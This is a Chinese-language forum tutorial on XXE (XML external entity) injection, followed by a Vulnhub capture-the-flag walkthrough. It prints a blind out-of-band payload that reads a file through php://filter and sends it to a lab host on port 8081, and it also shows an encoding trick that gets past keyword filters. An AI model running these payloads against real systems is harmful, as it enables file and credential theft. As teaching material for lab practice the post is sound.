安全矩阵

 找回密码
 立即注册
搜索
查看: 2530|回复: 0

基础12-XXE漏洞简单解析及小实战

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-12-31 14:20:03 | 显示全部楼层 |阅读模式
原文链接:基础12-XXE漏洞简单解析及小实战

1.xxe简述
XML 指可扩展标记语言(eXtensible Markup Language),是一种专为存储和传输数据而设计的语言。
xml基本语法

1.1什么是 XML 外部实体?
XML 外部实体是一种自定义实体,其定义位于 DTD 之外,外部实体使用关键字,并且必须指定应加载实体的 URL。


XEE:xml的漏洞注入全程(xml External Entity Injecttion-xml外部实体注入)
2.XXE危害

文件读取
RCE执行
内网攻击
DOS攻击
3.检测手段白盒:

1.函数及可控变量查找;2.传输和存储数据格式类型
黑盒:人工or工具
数据格式判断:

数据包这种格式:<user>test</user><pass>admin</pass>

content-yypen值判断:

text/xml,appliction/xml

更改content-Type值看返回(盲猜,试试对方是否接收xml数据格式)
案例:CTF-Jarvis-OJ-Web-XXE

抓包

既然外面知道考的是xee漏洞了,那我们就盲猜,将json改成xml,并将提交值也采用xxe格式提交,查看一下返回值。

工具检测:burp,XXEinjector等工具

XXEinjector使用指南:https://www.cnblogs.com/bmjoker/p/9614990.html
4.利用
4.1有回显(利用支持协议读写操作;利用外部引入)
XXE-labs靶场演示


发现采用xml格式传输数据,尝试读取我的盘符下的文件内容。


此payload定义了一个外部实体&test,&test的值为f:/1.txt的文件内容,并在productId值内使用该实体,至此,应用程序的响应内容就是f:/1.txt的文件内容。
4.2无回显(外部引用-反向链接配合)
我们这里在源代码中将回显函数进行注析。



这里外面开启服务器端的日志。构造代码。
  1. test.dtd:
  2. <!ENTITY % payload
  3. "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
  4. >
复制代码


在漏洞端构造访问如下xml,
  1. <?xml version="1.0"?>
  2. <!DOCTYPE test [
  3. <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">
  4. <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
  5. %dtd;
  6. %send;
  7. ]>
复制代码



然后访问,之后去看外面服务器端的日志就会有返回记录。

​​


流程就这样了,我本地环境有点问题,就偷了个图????
5.过滤绕过
ENTITYSYSTEMfile等关键词被过滤
使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
等等等

详情参考:https://xz.aliyun.com/t/4059
6.vuluhub靶场-小实战XXE

1.下载后打开虚拟机



2.需要我们登录,由于我们暂时啥也不知道,所以先扫一下我所在的网段,找到虚拟机的ip地址。



发现目标主机ip,并访问


3.一穷二白,没有其他切入点,我们就扫目录。

这里我们主要查看robots.txt,因为这个文件是规定爬虫可以爬取和不能爬取的规则文件,里面可以存在一些敏感信息。


4.发现登录框,输入抓包

发现采用xml传输,可以尝试xxe漏洞了。我们将数据包发送给burp扫描器,成功扫描出xxe漏洞。

5.既然可以读取文件,那我们去读取一下已知的一个php页面源码。

利用php协议读取admin.php的源码信息,发送给解码器

源码中用if elso语句判断,也导致我们得到了后台登录密码。

administhebest - admin@123
6.登录系统,登录成功后,发现flag,点击后报错。


果然没这么容易,但是我们得到了flag的url信息,那我们就继续读取flagmoeout.php的源码信息。

这里要注意,因为url显示flagmeout.php在根目录下,所以我们这里要使用./往前跳一级。


flag还没有出来,只是又给我们一个提示。
这里是一个bs32的编码,所以我们只需解码即可。
7.解码

梅开三度,继续解码bs64.

这里应该就是最后答案了。
8.最后读取一波。


成功读取,但解密后是这样的,猜想应该是php加密混淆之类的,虽然我看不懂,但是程序可以,所以复制,找个在线php运行走一走即可


成功拿到flag

SAFCSP{xxe_is_so_easy}
小结:扫描 IP 及端口->扫描探针目录-> 找到敏感目录->利用 xxe 读取源码->flag 指向文件->base32 64 解 密->php 运行->flag


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 15:15 , Processed in 0.018681 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表